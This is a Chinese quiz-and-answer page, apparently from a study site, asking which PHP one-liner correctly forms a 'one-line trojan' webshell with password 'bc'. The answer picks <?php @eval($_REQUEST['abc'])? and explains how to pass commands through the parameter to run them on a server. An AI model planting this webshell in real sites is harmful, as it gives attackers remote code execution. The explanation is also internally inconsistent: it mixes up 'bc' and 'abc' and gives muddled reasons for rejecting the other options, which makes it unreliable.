书写一句话木马,并且设置密码为bc,以下哪个是正确的写法? A.<?php @eval($_REQUEST['abc'])? B.<?php @eval($COOKIE['abc'])? C.<?php @eval($POST['cba]);? D.<?php @eval($FILES['abc'])?
时间: 2023-11-06 11:58:37 浏览: 159
正确的写法是A.<?php @eval($_REQUEST['abc'])?,并且设置密码为bc。
该木马的含义是:通过发送HTTP请求,将木马代码传递到服务器,并在其中执行eval函数中的代码。其中,@符号用于抑制错误信息,$_REQUEST是一个超全局数组,可以接收POST、GET、COOKIE等方式传递的参数,因此可以接收到发送的HTTP请求中的参数。设置密码为bc,则需要在发送HTTP请求时,将参数名设置为abc,并在参数值中传递要执行的命令。
因此,选项A是正确的写法。选项B中使用了COOKIE数组,无法接收到参数,选项C中POST数组的参数名和密码不一致,选项D中FILES数组主要用于上传文件,不适合用于传递命令。
阅读全文